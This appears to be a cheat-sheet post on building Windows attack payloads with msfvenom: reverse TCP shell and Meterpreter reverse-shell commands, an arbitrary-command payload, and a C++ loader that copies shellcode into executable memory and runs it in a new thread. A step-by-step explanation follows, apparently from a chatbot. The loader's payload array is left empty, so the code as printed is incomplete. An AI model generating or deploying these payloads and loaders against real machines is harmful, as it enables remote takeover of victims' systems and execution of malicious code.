Generating malicious payloads with MSFVenom

Payload CheatSheet

Windows Reverse TCP Shell en Shellcode:

msfvenom -p windows/shell_reverse_tcp LHOST=your_IP LPORT=your_port -f c

Windows Meterpreter Reverse TCP en Shellcode:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=your_IP LPORT=your_port -f c

CMD Windows Executable Shellcode:

msfvenom -p windows/exec CMD=”cmd.exe /C your_command” -f c

Windows Message Box Shellcode:

msfvenom -p windows/messagebox TEXT=”Message” -f c

Shellcode Executor

```
C++ Code
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// our payload calc.exe
unsigned char my_payload[] =
unsigned int my_payload_len = sizeof(my_payload);

int main(void) {
  void * my_payload_mem; // memory buffer for payload
  BOOL rv;
  HANDLE th;
  DWORD oldprotect = 0;

  // Allocate a memory buffer for payload
  my_payload_mem = VirtualAlloc(0, my_payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

  // copy payload to buffer
  RtlMoveMemory(my_payload_mem, my_payload, my_payload_len);

  // make new buffer as executable
  rv = VirtualProtect(my_payload_mem, my_payload_len, PAGE_EXECUTE_READ, &oldprotect);
  if ( rv != 0 ) {

    // run payload
    th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) my_payload_mem, 0, 0, 0);
    WaitForSingleObject(th, -1);
  }
  return 0;
}
```

This code is a Windows program that injects and executes shellcode, represented by the `my_payload` array, into the memory of the current process. Let’s break down the code step by step:

1. **Header Includes**:
   - `<windows.h>`: Provides access to Windows API functions and data types.
   - `<stdio.h>`: Includes standard input and output functions.
   - `<stdlib.h>`: Contains memory allocation and other standard functions.
   - `<string.h>`: Provides string manipulation functions.
2. **Shellcode Definition**:
   - `unsigned char my_payload[]`: This array contains the shellcode that will be injected and executed. The actual shellcode content is missing in the code you provided, so you would typically replace this with the shellcode you want to run.
   - `unsigned int my_payload_len`: This variable holds the size (length) of the shellcode in bytes.
3. **Main Function**:
   - `int main(void)`: This is the main entry point for the program.
   - Inside the function:
     - It declares several variables:
       - `void * my_payload_mem`: A pointer to a memory buffer where the shellcode will be loaded.
       - `BOOL rv`: A Boolean flag to indicate the success of the `VirtualProtect` function.
       - `HANDLE th`: A handle to the thread that will execute the shellcode.
       - `DWORD oldprotect`: A variable to store the previous memory protection state.
     - It allocates a memory buffer using `VirtualAlloc` to hold the shellcode. The `MEM_COMMIT | MEM_RESERVE` flags are used to allocate memory but not necessarily commit it immediately.
     - It copies the shellcode from `my_payload` to the allocated memory buffer using `RtlMoveMemory`.
     - It uses `VirtualProtect` to change the memory protection of the allocated buffer to `PAGE_EXECUTE_READ`, making it executable.
     - If `VirtualProtect` succeeds (returns a non-zero value), it creates a new thread using `CreateThread` that starts execution at the address of `my_payload_mem`. The `WaitForSingleObject` function waits for the thread to complete its execution indefinitely.
     - Finally, it returns 0 to indicate successful program completion.

In summary, this code is a basic example of shellcode execution within a Windows program. It allocates memory, loads shellcode into that memory, marks it as executable, and then creates a thread to execute the shellcode. Please note that the actual content of the `my_payload` array, which contains the shellcode instructions, is not provided in the code you shared. You would need to replace `my_payload` with your own shellcode. Additionally, be aware that executing arbitrary shellcode can be dangerous and should only be done in controlled and ethical environments.